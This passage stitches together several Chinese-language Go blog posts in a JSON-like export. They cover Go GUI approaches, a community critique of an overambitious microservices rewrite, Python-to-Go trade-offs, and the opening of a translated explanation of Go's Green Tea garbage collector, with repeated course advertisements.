世界不同，Fyne几乎 100% 的 UI 逻辑、状态管理和控件实现，都发生在 Go 的世界里。CGO 在这里扮演的仅仅是一个薄薄的、与 GPU 对话的“驱动适配器”。\n优点\nGo-idiomatic API：Fyne 的 API 设计遵循 Go 的语言习惯，开发者可以像编写普通 Go 程序一样来构建 UI，心智负担较低。 极致的跨平台一致性：由于所有控件都是 Fyne 自己绘制的，一个用 Fyne 编写的应用，在 Windows, macOS, Linux, Android, iOS 等所有平台上，都拥有完全一致的外观和行为。 简化的构建过程：尽管使用了 CGO，但 Fyne 极大地简化了其构建依赖。在大多数情况下，你只需要安装好 Go 和一个 C 编译器，就可以轻松地构建跨平台应用，远比配置 Qt 或 GTK 的开发环境要简单。 高性能与低资源占用：由于直接与 GPU 对话，其渲染性能通常很高，且最终生成的二进制文件和内存占用都非常小。 缺点\n非原生观感：UI 的外观是 Fyne 自定义的“Material Design”风格，与操作系统原生控件（如 macOS 的 Aqua 风格）不同。这对于某些追求“平台原生感”的应用来说，可能是一个缺点。 生态与成熟度：虽然 Fyne 近年来发展迅速，并拥有了像 Fysion 这样的图形化编辑器，但其组件库的丰富程度、第三方工具和社区解决方案，与 Web 生态或成熟的 C++ 框架相比，仍有一定差距。 流派三：CGO 绑定流 —— 拥抱经典的“实力派” 这一流派选择了最传统、也最直接的路径：通过 CGO，将 Go 语言绑定到那些久经考验的 C/C++ GUI 框架上。\n代表项目：therecipe/qt, gotk3/gotk3等。 工作原理：编写大量的 CGO “胶水代码”，将 C/C++ 框架的 API 逐一映射为 Go 的函数和类型。 优点：\n功能极其强大：可以直接利用 Qt, GTK 等框架数十年来积累的、极其丰富和成熟的功能与组件。\n真正的原生控件：在某些情况下（如 GTK），应用使用的是操作系统原生的 UI 控件，能提供最原汁原味的平台体验。\n缺点：\nCGO 的所有痛点：构建环境配置复杂、交叉编译困难、编译速度慢。\nAPI 笨重：由于是 C API 的直接映射，其使用方式可能不那么符合 Go 的语言习惯。\n维护成本高：需要持续跟进上游 C/C++ 框架的更新。\n流派四：C代码转译流 —— modernc.org/tk9.0 引领的“去CGO化”绑定探索 在与 C/C++ GUI 框架的搏斗中，还存在着第四条、也是最“激进”的一条道路。它不满足于“薄层”的 CGO 调用，而是试图从根本上消除 C 代码本身，将其转译 (Transpile) 为纯 Go 代码。代表项目：modernc.org/tk9.0。\nmodernc.org 生态系统的作者cznic，选择了两条并行且互补的路径，来实现真正的“CGO-free”绑定：\nPure FFI 路径 (基于 purego): 在 purego 支持的主流平台（如 Linux/macOS/Windows 的 amd64/arm64 架构）上，modernc.org/tk9.0 会在运行时，通过 purego 动态加载并调用系统上预装的 Tcl/Tk C 语言共享库。这与我们之前讨论的 purego 范式一致，是一种轻量级的、无 CGO 编译时依赖的 FFI 方案。\n代码转译路径 (基于 ccgo): 这才是其真正的“黑魔法”所在。对于 purego 不支持的平台，或者在希望构建完全无外部依赖的二进制文件时，modernc.org 的作者使用了他自己开发的工具 ccgo。ccgo 是一个 C 语言到 Go 语言的源代码翻译器。它能够读取 Tcl/Tk 的 C 源代码，并将其自动转换为功能等价的、虽然可能不那么易读的 Go 源代码，比如libtk9.0。\n优点\n真正的 CGO-free：这是它最引人注目的优点。无论目标平台如何，Go 引以为傲的一键交叉编译能力被完美地保留了下来。 零运行时依赖（在转译模式下）：通过将 Tcl/Tk 库本身转译为 Go 代码，你的应用可以被编译成一个完全静态、不依赖于目标系统上任何共享库的单一二进制文件。这对于应用的部署和分发来说，是一个巨大的福音。 利用成熟的工具包：开发者可以享受到 Tk 这个经过数十年考验的、极其稳定的 GUI 工具包的所有功能，而无需承受 CGO 带来的痛苦。 缺点\n转译的复杂性与保真度：C 到 Go 的自动转译是一个极其复杂的工程挑战。ccgo 虽然功能强大，但转译过程并非 100% 完美，可能会遇到 C 语言中某些特性的兼容性问题。 性能与可读性：由 ccgo 生成的 Go 代码是机器生成的，其可读性和可维护性是个巨大的调整。同时，转译后的 Go 代码，其运行性能是否能与原生 C 代码媲美，也是一个需要具体场景具体测试的问题。 生态系统特殊性：这种“转译”范式，目前是cznic 打造的modernc.org 生态系统独有的、高度集成的解决方案。选择它，意味着你需要信任并深度依赖于这个特定的、由社区英雄维护的工具链。 展望与建议：Go GUI 的破局之路在何方？ Go GUI 的“绝境”，正在被社区以多元化的方式“破局”。展望 2025 年，我们不再只有一两条崎岖的小路，而是有了一幅更清晰、更多元的“路线图”。\nWeb 技术流仍是主流：在未来几年，以 Wails 为代表的 Web 技术方案，仍将是绝大多数 Go GUI 应用的最佳选择。它的生态优势和开发效率是其他方案难以比拟的。\n自绘渲染流是未来希望：Fyne 代表了 Go GUI 的“星辰大海”。随着其生态的不断成熟和完善，它有潜力成为 Go 语言未来真正的“原生” GUI 解决方案。\nCGO 绑定流是“重武器”：Qt/GTK 等传统框架的绑定，虽然沉重，但在需要极致功能和原生控件的专业领域，依然是不可或缺的“实力派”。\nC代码转译流是“黑科技”：以 modernc.org/tk9.0 为代表的转译方案，为“去 CGO 化”提供了一条全新的、激进的路径。它在部署上的巨大优势，可能会吸引越来越多的开发者关注。\n给 Go 开发者的一些建议：\n如果你想快速构建一个功能丰富、界面美观的跨平台桌面应用：请毫不犹豫地选择 Wails。 如果你追求极致的部署便利性，并希望彻底摆脱 CGO：请深入研究 modernc.org/tk9.0。 如果你对性能和资源占用有极致要求，并愿意投入学习成本：请密切关注并尝试 Fyne。 如果你正在构建一个 CLI/TUI 应用：别忘了 Bubbletea，它是这个领域的王者。 Go GUI 的故事，是一个典型的“自下而上”的社区驱动创新的故事。虽然道阻且长，但行则将至。我们不再只有一个选择，而是可以在清晰的权衡之下，为我们的项目，找到最“恰如其分”的那条路。\n最后，澄清一个很多Go初学者理解容易偏颇的内容，即究竟什么是”cgo-free” ？”cgo-free”的真正意思是：\n编译时不需要 C 编译器 可以交叉编译 但”cgo-free”不代表程序运行时不会加载和调用对应架构的动态库(C库)。就像purego是”cgo-free”的，但使用purego的程序在运行时一般都是会调用某个依赖的C库。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/03/go-gui-development-2025/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-gui-development-2025-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/03/go-gui-development-2025\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/03/go-gui-development-2025\"\u003ehttps://tonybai.com/2025/11/03/go-gui-development-2025\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“Go 语言能写桌面应用吗？”\u003c/p\u003e\n\u003cp\u003e这个问题，如同一个幽灵，常年盘旋在 Go 社区的上空。作为一门在后端、云原生和命令行工具领域所向披靡的语言，Go 在图形用户界面（GUI）开发上的“短板”，一直是其支持者心中一个难以言说的痛。\u003c/p\u003e","title":"Go GUI 开发的“绝境”与“破局”：2025 年现状与展望"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/02/6-months-47-microservices-architecture-disaster\n大家好，我是Tony Bai。\n“我们有一个运行了 8 年的 Python 单体应用，20 万行代码，工作得很好，很少崩溃，8 分钟就能部署。现在，新来的首席架构师，入职仅 3 个月，就要我们在 6 个月内，把它拆分成 47 个微服务。”\n近日，在 r/softwarearchitecture 社区，一篇充满绝望与困惑的帖子引发了近百条评论的热议。这不仅仅是一个团队的技术困境，更像是一部在软件行业中反复上演的戏剧：一个稳定但“不时髦”的遗留系统，遭遇了一位满怀“宏大愿景”（和一堆时髦 buzzwords）的新领导。\n发帖人描述的场景，让无数经历过类似“折腾”的工程师感到脊背发凉：\n宏大的计划：47 个微服务，每个都有独立的 repo、数据库、Sidecar 代理，通过服务网格和事件总线进行异步通信，前端由 API 网关统一聚合。 脆弱的理由： 领导的理由也含糊不清，主要是“单体无法扩展”、“我们需要团队自治”，并不断引用“Google 和 Amazon 就是这么做的”。 荒谬的资源：一个 25 人的团队，意味着平均不到半个人负责一个服务。团队中绝大多数人没有任何分布式系统经验。 不可能的时间线：6 个月内完成，同时还要并行交付新功能。 发帖人绝望地问道：“这究竟是合法的、富有远见的架构设计，只是我太愤世嫉俗无法看清；还是我所见过的、最明目张胆的‘简历驱动开发’(Resume-Driven Development)？”\n而社区的回答，几乎是压倒性的一致。在这篇文章中，我们就来看看架构师社区对这个帖子中问题的诊断过程与结论，以及给出的建议“药方”。\n诊断一：典型的“简历驱动开发”(RDD) 这是社区给出的最普遍、也最尖锐的诊断。一位评论者一针见血：“你的架构师正在为他的下一份工作，填充他的简历和技能。” 另一位则补充道：“他会在项目成功‘实施’（但还未开始崩溃）后立刻离职，把烂摊子留给你们。”\nRDD 的典型特征是：\n解决方案在寻找问题：架构师带来了一整套时髦的技术栈（微服务、服务网格、事件总线、Kafka、K8s），却并没有清晰地论证当前系统到底遇到了什么非用这些技术不可的问题。 理由空洞，诉诸权威：“单体无法扩展”是一个未经证实的断言。当前系统（50k req/day, 即平均 \u0026lt; 1 rps）真的有扩展性问题吗？瓶颈在哪里？“Google 模式”更是典型的“货物崇拜编程”(Cargo Cult Programming)——盲目模仿成功者的表象，却不理解其背后的约束和权衡。 忽视成本与团队能力：完全无视一个 25 人的、缺乏经验的团队，在 6 个月内驾驭如此复杂的技术栈所需要付出的巨大成本，以及几乎 100% 会失败的风险。 诊断二：“拆掉洗碗机，重建整座房子” 发帖人的这个比喻，得到了社区的高度认同。一个运行了 8 年的系统，必然存在技术债，就像房子里的洗碗机可能坏了。但理智的做法是修理或更换洗碗机，而不是因此拆掉整座房子。\n社区的资深工程师们纷纷指出，一个负责任的架构师，在提出如此激进的计划前，必须回答一系列基础问题：\n问题是什么？ 当前单体应用最大的痛点是什么？是部署困难？代码耦合严重？还是特定模块的性能瓶颈？ 现状如何？ 是否有基准测试数据？当前的性能极限在哪里？50k req/day 的负载真的需要 47 个服务来分担吗？（“我的树莓派都能处理 1 req/sec，”一位评论者讽刺道。） 价值何在？ 拆分后，业务上能获得什么具体的好处？是加快特定功能的交付速度，还是提升系统的可用性？这些收益是否值得付出巨大的重构成本？ 这位新任架构师显然跳过了所有这些关键的分析步骤，直接给出了一个“终极答案”。\n微服务的“正确姿势”：它解决的是“组织”问题，而非“技术”问题 许多评论深刻地指出了一个关于微服务的核心真相：\n微服务主要解决的，不是技术扩展性问题，而是组织扩展性问题。 (康威定律的推论^_^)\n当你有数百甚至数千名开发者在同一个单体应用上工作时，代码冲突、发布协调、团队依赖会成为巨大的瓶颈。此时，将系统按业务领域（Domain）垂直切分成独立的、可独立部署的服务，让每个小团队（“双披萨团队”）拥有自己服务的完全所有权，才能解放生产力。\n对于一个只有 25 人的团队，强行拆分成 47 个服务，不仅不能实现“团队自治”，反而会因为引入了复杂的分布式系统依赖和运维开销，导致更多的沟通摩擦和更慢的开发速度。正如一位经历过类似重构的工程师所言：“我们因为‘团队自治’而拆分了所有单体，现在又因为无法忍受的运维开销而试图将它们合并回来。”\n社区的“药方”：如何在这场风暴中幸存？ 面对这位“愿景宏大”的架构师，社区给出了两条截然不同但同样充满智慧的建议：\n药方 A：“向上管理”与“增量演进” 这条路径的核心是尝试挽救项目。一位来自 FAANG 的工程师分享了他们团队的真实做法：\n肯定意图，质疑方案：首先，肯定架构师“着眼未来”、“提升系统能力”的良好意图。 提议 POC (概念验证)：建议从一个最小、最独立的业务领域开始。“让我们先用一周时间，只拆分一个服务作为 POC，来证明我们团队有能力构建和运维这样的系统，并验证它是否真的能解决我们的某个具体问题。” 用数据说话：一个理智的领导者，会接受这个数据驱动的、风险可控的提议。如果架构师拒绝，并坚持“大爆炸”式的重构，那么他的动机就非常可疑了。 寻求增量演进：倡导一种渐进式的“绞杀者无花果模式”(Strangler Fig Pattern)，逐步将单体中的功能，一块块地、有选择地、在确认有净收益的前提下，剥离成更小的服务（或者叫“宏服务”/“迷你服务”）。最终，你可能会得到一个“迷你单体” (Minilith) 和一圈环绕它的服务，而不是一个由 47 个碎片组成的“分布式单体”。 药方 B：“上车，刷简历，然后跳车” 这条路径充满了犬儒主义的智慧，但也反映了许多工程师在类似困境中的无奈选择。\n“我的建议是：做我曾经做过的事。既然这是个注定失败的项目，那就登上这趟炒作的列车，用这些时髦的技术把你的简历填满，然后在它崩溃之前赶紧跳车。”\n这虽然听起来不负责任，但当面对一个无法沟通、刚愎自用的领导，并且申诉无门时，保护自己的职业生涯，有时就成了唯一的理性选择。\n小结：架构的本质是权衡，而非信条 这个故事，之所以能引发如此广泛的共鸣，是因为它触及了软件架构的本质：架构，是一系列关于权衡 (Trade-offs) 的决策，而不是一套可以盲目套用的信条或模式。\n一个优秀的架构师，会像一名侦探一样，深入理解现有的系统、业务的约束和团队的能力，然后提出一个恰如其分的解决方案。而一个糟糕的架构师，则像一个手持锤子的人，看什么都像钉子——尤其是当那把锤子是印有“微服务”、“服务网格”等时髦字样的“黄金锤”时。\n最终，这个故事提醒我们，在软件工程中，最危险的，往往不是过时的技术，而是脱离了现实约束的“宏大愿景”，以及那些打着“谷歌范儿”旗号，却对工程现实一无所知的“海鸥架构师”——飞进来，拉一堆屎，然后飞走。\n资料链接：https://www.reddit.com/r/softwarearchitecture/comments/1o6re10/lead_architect_wants_to_break_our_monolith_into/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/02/6-months-47-microservices-architecture-disaster/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/6-months-47-microservices-architecture-disaster-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/02/6-months-47-microservices-architecture-disaster\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/02/6-months-47-microservices-architecture-disaster\"\u003ehttps://tonybai.com/2025/11/02/6-months-47-microservices-architecture-disaster\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e“我们有一个运行了 8 年的 Python 单体应用，20 万行代码，工作得很好，很少崩溃，8 分钟就能部署。现在，新来的首席架构师，入职仅 3 个月，就要我们在 6 个月内，把它拆分成 47 个微服务。”\u003c/p\u003e","title":"“6 个月，47 个微服务”：一场由“简历驱动”引发的架构灾难"},{"content":"\n本文永久链接 – https://tonybai.com/2025/11/01/from-python-to-go-what-we-lost-and-gained\n大家好，我是Tony Bai。\n在当代软件工程师的职业生涯中，从一门动态语言（如 Python）转向一门静态语言（如 Go），已成为一条日益普遍的技术迁徙路径。这条路充满了新奇的发现，也伴随着对旧日“舒适区”的丝丝怀念。\n近日，在 r/golang 社区，一个关于“与 Python 相比，Go 缺失了什么？”的提问，引发了一场关于这种技术迁徙中“得与失”的深刻对话。这场讨论，与其说是在评判语言的优劣，不如说是一次集体反思：当我们选择 Go 时，我们究竟是为了什么而放弃了另一些东西？\n在这篇文章中，我们就来深入剖析这场技术迁徙中的**“得”与“失”**，看看当我们拥抱 Go 的严谨与高效时，究竟告别了怎样的风景。\n失去的乐园 —— 那些我们留在 Python 世界的“玩具” 对于许多从 Python 迁徙而来的 Gopher 而言，“失去”的感觉是真实存在的。我们失去的，是一个极其成熟、包罗万象，且为“探索”与“便利”而生的生态系统。\n失去了“数据科学的权杖” 这是最令人痛心疾首的“失物”。Python 在数据处理、科学计算和 AI/ML 领域的统治地位是毋庸置疑的。\n数据操作的魔力：我们失去了像 Pandas 这样的库，它提供了极其强大和富有表现力的数据框 (DataFrame) 操作能力。一位开发者坦言，尽管他相信错误优于异常，但如果让他每天用 Go 写 50 遍类似 Pandas 的链式 groupby().aggregate().reset_index() 操作，他会“疯掉”。 AI/ML 的“护城河”：我们暂时告别了由 NumPy, PyTorch 等框架构筑的、无与伦比的 AI 算法生态。尽管 Go 凭借其并发能力在 AI 基础设施中大放异彩，但在核心模型与算法层面，我们失去了一片广阔的“成熟林地”。 失去了“探索式编程的自由” 我们也失去了一种无拘无束、即时反馈的探索乐趣。\nJupyter Notebooks 的沉浸体验：我们失去了一个与数据科学工作流完美融合的交互式环境。虽然 Go 也可以在 Jupyter 中运行，但那种原生、无缝的数据探索与可视化体验，至今仍是 Python 的专属。 动态语言的“魔法”：我们失去了那些在原型验证和测试中极其便利的“黑魔法”，如猴子补丁 (monkey patching) 和装饰器 (decorators)。这些“玩具”虽然危险，但在特定场景下，它们确实能让代码变得更紧凑、更灵活。 得到的磐石 —— Go 赋予我们的“信任”与“确定性” 然而，有失必有得。当我们告别 Python 的“乐园”时，我们得到的是一些在构建大型、严肃的软件系统时，更为宝贵的东西：信任、可预测性和朴素的工程纪律。\n得到了“免于午夜惊魂的权利” 这是“得到”清单上最重要的一项。一位来自 Java 和 Python 背景的开发者的高赞评论一语中的：\n“像猴子补丁和装饰器这样的东西看起来很聪明，直到你在凌晨 2 点调试时，想不通为什么你的函数突然变成了别的东西。Go 给你的玩具可能更少，但至少你可以相信，它们不会在调试时反咬你一口。”\n我们得到的，是静态类型和编译期检查所带来的坚如磐石的确定性。我们彻底告别了“’NoneType’ has no attribute ‘X’”这类只有在运行时才会暴露的、最常见的 Python 错误。我们得到的，是一种可以安心入睡的信心：只要代码能够编译通过，一整类低级错误就已经被消除了。\n得到了“清晰压倒一切”的朴素哲学 我们得到了一种新的审美观：清晰性远比表现力更重要。另一位评论者的比喻十分精妙：\nGo 允许你用最多 3 个词的简单句子来表达。为了说出有意义的话，你需要写很多无聊的句子，但它更容易学习和理解。\n我们失去了编写单行“炫技”代码的乐趣，却得到了一个整个团队都能轻松阅读和维护的代码库。我们得到的，是 if err != nil 的冗长所换来的、对每一个错误路径的明确掌控。\n得到了“摆脱环境与依赖之苦”的解脱 我们得到了一个极其简化的运维世界。\n单一的静态二进制文件：我们告别了 Python 的 venv、pip 和复杂的依赖树，得到了一个可以被轻松复制到任何地方、无需任何运行时依赖就能运行的程序。 轻量级的容器镜像：我们得到的，是数十兆字节大小的、干净的 Docker 镜像，而不是动辄数百兆甚至上G的、包含了整个 Python 解释器和众多依赖的臃肿镜像。 小结：一次自觉的“断舍离” 从 Python 到 Go 的旅程，并非一次简单的“语言切换”，而是一次深刻的**“哲学选择”和自觉的“断舍离”**。\n我们失去了 Python 生态的广度、动态语言的灵活性和探索式编程的即时乐趣。\n但我们得到了 Go 的深度——在并发和网络编程领域的专注；得到了静态语言的严谨性、编译期的安全保障；得到了一个极其简约、高度可预测、易于大规模协作的工程环境。\n这并非一次升级或降级，而是一次权衡 (Trade-off)。\nPython 是一把功能丰富的瑞士军刀，是探索未知、快速验证想法的最佳伴侣。 Go 则更像一把坚固、可靠、专为特定任务打造的工程师锤，是构建需要长期服役的、坚固可靠的“建筑”的不二之选。 理解了这一点，我们便能欣赏两种语言各自的美，并在合适的场景下，做出最明智的、无悔的选择。\n资料链接：https://www.reddit.com/r/golang/comments/1odb9pg/what_are_you_missing_in_go_compared_to_python/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/11/01/from-python-to-go-what-we-lost-and-gained/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/from-python-to-go-what-we-lost-and-gained-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/11/01/from-python-to-go-what-we-lost-and-gained\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/11/01/from-python-to-go-what-we-lost-and-gained\"\u003ehttps://tonybai.com/2025/11/01/from-python-to-go-what-we-lost-and-gained\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在当代软件工程师的职业生涯中，从一门动态语言（如 Python）转向一门静态语言（如 Go），已成为一条日益普遍的技术迁徙路径。这条路充满了新奇的发现，也伴随着对旧日“舒适区”的丝丝怀念。\u003c/p\u003e","title":"从 Python 到 Go：我们失去了什么，又得到了什么？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/31/deep-into-go-green-tea-gc\n大家好，我是Tony Bai。\n关注 Go 语言演进的 Gopher 们可能已经注意到，Go 团队更换技术负责人以来，对运行时 (runtime) 和编译器 (compiler) 核心组件的打磨正日益成为团队的工作重心。从备受期待的“绿茶”GC (Green Tea GC)，到 标准库simd 加速包的探索，再到 基于swisstable的 map 的实现，以及 json/v2 的设计实现，一系列动作都预示着 Go 正在其性能核心地带进行着深刻的自我革新。\n而就在最近，Go 运行时和编译器团队的一项决议，更是将这一趋势推向了高潮：他们计划在 Go 1.26 版本中，将实验性的“绿茶”GC 作为默认的垃圾回收器正式落地。\n为了帮助大家深入理解这一重大变更背后的技术原理与深层思考，我翻译了 Go 官方博客10月29日的最新文章《The Green Tea Garbage Collector》。该文是基于 Go 团队核心成员 Michael Knyszek 在 GopherCon 2025 大会上的演讲整理而成。在这篇极具技术深度的原理文章中，没有人能比官方团队的讲解更为专业和权威。因此，为了最大程度地保留其“原汁原味”，我选择以全文翻译的形式，将其最真实、最精确的面貌呈现给大家。\n以下是译文全文，供大家参考。\nGo 1.25 包含一个名为“绿茶”（Green Tea）的全新实验性垃圾回收器，在构建时通过设置 GOEXPERIMENT=greenteagc 即可启用。使用该垃圾回收器后，许多工作负载在垃圾回收上花费的时间减少了约 10%，而有些工作负载的降幅甚至高达 40%！\n它已为生产环境准备就绪，并在 Google 内部投入使用，因此我们鼓励你进行尝试。我们知道某些工作负载的收益不大，甚至完全没有，所以你的反馈对于我们向前推进至关重要。根据我们目前掌握的数据，我们计划在 Go 1.26 中将其设为默认GC。\n如需报告任何问题，请提交一个新 issue。\n如需分享任何成功经验，请回复至现有的 Green Tea issue。\n下文是基于 Michael Knyszek 在 GopherCon 2025 上的演讲整理的博文。一旦演讲视频上线，我们将会更新此博文并附上链接。\n追踪垃圾回收过程 在讨论“绿茶”之前，让我们先就垃圾收集问题达成共识。\n对象和指针 垃圾回收的目的是自动回收并重用程序不再使用的内存。\n为此，Go 垃圾回收器关注的是对象(Object)和指针(Pointer)。\n在 Go 运行时的上下文中，对象是Go值(Value)，其底层内存分配自堆。当 Go 编译器无法找到其他方式为某个值分配内存时，就会创建堆对象。例如，以下代码片段会分配一个堆对象：一个指针切片的底层存储空间。\nvar x = make([]*int, 10) // 全局变量 Go 编译器只能在堆上分配切片后备存储，因为它很难（甚至可能不可能）知道 x 将引用该对象多长时间。\n指针只是一些数字，用于指示 Go 值在内存中的位置，Go 程序通过它们来引用对象。例如，要获取上一个代码片段中分配的对象的起始指针，我们可以这样写：\n\u0026amp;x[0] // 0xc000104000 标记-清除算法 Go 的垃圾回收器遵循一种广义上称为“追踪式垃圾回收”的策略，这意味着垃圾回收器会跟随或追踪程序中的指针，以识别程序仍在使用的对象。\n更具体地说，Go 垃圾回收器实现了标记-清除(mark-sweep)算法。这比听起来要简单得多。 可以把对象和指针想象成计算机科学意义上的图：对象是节点，指针是边。\n标记-清除算法就在这个图上运行的，顾名思义，它分两个阶段进行。\n在第一阶段，即标记阶段，它从一组明确定义的、称为“根(root)”的源边开始遍历对象图。可以将其理解为全局变量和局部变量。然后，它将沿途找到的所有东西标记为已访问(visited)，以避免循环。这类似于典型的图遍历算法，如深度优先或广度优先搜索。\n接下来是清除阶段。在我们的图遍历中未被访问到的任何对象，都是程序未使用或不可达(unreachable)的。我们称这种状态为不可达，因为通过语言的语义，正常的安全 Go 代码已无法再访问那块内存。为完成清除阶段，算法只需遍历所有未访问的节点，并将其内存标记为空闲，以便内存分配器可以重用它们。\n就是这样？ 你可能觉得我在这里把事情想得有点过于简单了。垃圾回收器经常被比作魔法和黑盒子 。你的说法也对了一部分，实际情况要复杂得多。\n例如，实际上，这个算法会与你的常规 Go 代码并行执行。遍历一个不断变化的图会带来挑战。我们还对这个算法进行了并行化，这一点稍后会再次提及。\n但请相信我，这些细节大多与核心算法无关。核心算法实际上只是一个简单的图泛洪(graph flood)操作。\n图泛洪示例 我们来看一个例子。请浏览下面的幻灯片图片，跟随步骤操作。\n这里我们有一个包含一些全局变量和 Go 堆的图示。让我们一步步来分析。\n左边是我们的根。它们是全局变量 x 和 y。这将是我们图遍历的起点。根据左下角的图例，它们被标记为蓝色，表示它们当前在我们的工作列表上。\n右边是我们的堆。目前，堆中的所有东西都是灰色的，因为我们还没有访问过任何部分。\n每个矩形中代表一个对象。每个对象都标有其类型。这个特殊的对象是 T 类型的对象，其类型定义在左上角。它有一个指向子节点数组的指针和一些值。我们可以推断这是一种递归的树形数据结构。\n除了 T 类型的对象，你还会注意到我们有包含 *T 的数组对象。这些数组对象由 T 类型对象的 “children” 字段指向。\n矩形内的每个方块代表 8 字节的内存。带有点的方块是一个指针。如果它有箭头，那么它是一个指向某个其他对象的非空指针。\n如果它没有对应的箭头，那么它就是一个空指针。\n接下来，这些虚线矩形代表空闲空间，我称之为空闲“槽位(slot)”。我们可以在那里放置一个对象，但目前还没有。\n你还会注意到对象被这些带标签的、虚线圆角矩形组合在一起。每一个都代表一个页(page)：一块连续的内存块。这些页被标记为 A、B、C 和 D，我将以此来称呼它们。\n在这个图中，每个对象都被分配到某个页面中。就像实际实现一样，这里的每个页面只包含特定大小的对象。这正是 Go 堆的组织方式。\n页也是我们组织每个对象元数据的方式。这里你可以看到七个框，每个对应页 A 中的七个对象槽位之一。\n每个框代表一位(bit)信息：我们之前是否见过这个对象。实际上，Go运行时就是通过这种方式来管理对象是否已被访问过的，这一点稍后会很重要。\n细节讲了很多，感谢你跟读。这些稍后都会派上用场。现在，让我们看看图泛洪如何应用于这幅图。\n我们首先从工作列表中取出一个根。我们将其标记为红色，表示它现在是活跃的。\n沿着根指针，我们找到了一个 T 类型的对象，并将其添加到我们的工作列表。根据图例，我们将该对象绘制成蓝色，以表明它已在工作列表中。请注意，我们同时在右上角的元数据中设置了与此对象对应的“已见”位。\n下一个根也同样处理。\n现在我们处理完了所有的根，工作列表上还剩下两个对象。让我们从工作列表中取出一个对象。\n我们现在要做的是遍历该对象的指针，以找到更多的对象。顺便说一下，我们称遍历一个对象的指针为“扫描”该对象。\n我们找到了这个有效的数组对象…\n… 并将其添加到我们的工作列表中。\n从这里开始，我们递归地进行。\n我们遍历数组的指针。\n找到更多对象…\n然后我们遍历数组对象引用的那些对象！\n请注意，我们仍然需要遍历所有指针，即使它们是 nil。我们事先并不知道它们是否为空。\n这个分支下还有一个对象…\n现在我们到达了另一个分支，从我们早先从某个根找到的页 A 中的那个对象开始。\n你可能注意到了我们工作列表的“后进先出”规则，这表明我们的工作列表是一个栈，因此我们的图遍历近似于深度优先。这是有意为之的，并反映了 Go 